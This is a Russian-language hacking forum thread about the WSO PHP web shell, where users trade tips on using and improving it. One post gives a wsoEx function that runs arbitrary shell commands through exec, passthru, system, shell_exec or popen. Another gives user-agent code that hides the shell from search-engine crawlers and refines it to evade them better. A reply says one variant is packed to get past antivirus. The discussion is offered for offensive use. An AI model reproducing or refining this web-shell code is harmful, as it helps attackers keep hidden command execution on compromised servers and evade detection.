WSO (веб-шелл)

Бля, да не получается =\
Стукните кто нибудь - 91-97-91

 

Справа в "консоли" есть скролл. Если присмотреться, то видно, что скролл не на всю высоту "консоли". Нижняя строчка - это и есть поле ввода.

 

Спасибо пупсик, нашел :*

 

вот ещё, в консоле под unix системами не видно ошибок, постоянно добавляю 2>&1 в конец. можно как-то это исправить?

 

изминить малость функцию wsoEx и все готово, больше не придется добавлять в конце 2>&1

PHP:

<?php
//......

function wsoEx($in) {
    $out = '';
    $in .= ' 2>&1'; // - Добавляет в конец команды
    if(function_exists('exec')) {
        @exec($in,$out);
        $out = @join("\n",$out);
    }elseif(function_exists('passthru')) {
        ob_start();
        @passthru($in);
        $out = ob_get_clean();
    }elseif(function_exists('system')) {
        ob_start();
        @system($in);
        $out = ob_get_clean();
    }elseif(function_exists('shell_exec')) {
        $out = shell_exec($in);
    }elseif(is_resource($f = @popen($in,"r"))) {
        $out = "";
        while(!@feof($f))
            $out .= fread($f,1024);
        pclose($f);
    }
    return $out;
}
?>


 

shellz[21h]
Гениально просто

 

Вопрос, в чем отличие wso2_pack2 от wso2_pack и от wso2?

 

wso2_pack - Упакован хитрым способом, чтоб антивирусами не полился.
wso2_pack2 - Не упакован, так сказать слегка обфусцирован, удалены \r\n, местами записан в строчку.
wso2 - Не упакован, код читабельный.

 

работает ли консоль под Windows?

 

А для чего WSO manager?

 

нет.

нет

 

работает. мог бы затестить на локалхосте.

 

тестил на машине в локалке WINDOWS стоит, скрипт просто "зависал" и все

 

Шелл работает отлично, тестил на апаче.

 

заработало, спасибо

 

Хотелось бы видеть вкладочку Proc. как в c99 )

 

еще не хватает функции редактирования sql баз(не через команд строку)

 

небольшой недочет:

PHP:

$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    foreach($userAgents as $agent)
        if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) {

Дело в том что например бот msn, подписывается сейчас по крайней мере msnbot, т.е скрипт даст ему проиндексировать.

Для сравнения можно использовать, такую конструкцию:

PHP:

$allBots = implode('|', $userAgents);
if (preg_match('/'.$allBots.'/i', $_SERVER['HTTP_USER_AGENT'])) {

 

Можно ещё писать лежа и спать на потолке =)

а по stripos:

в php4 нет такой функции

 

У меня всё нормально. У тя точно последняя версия стоит?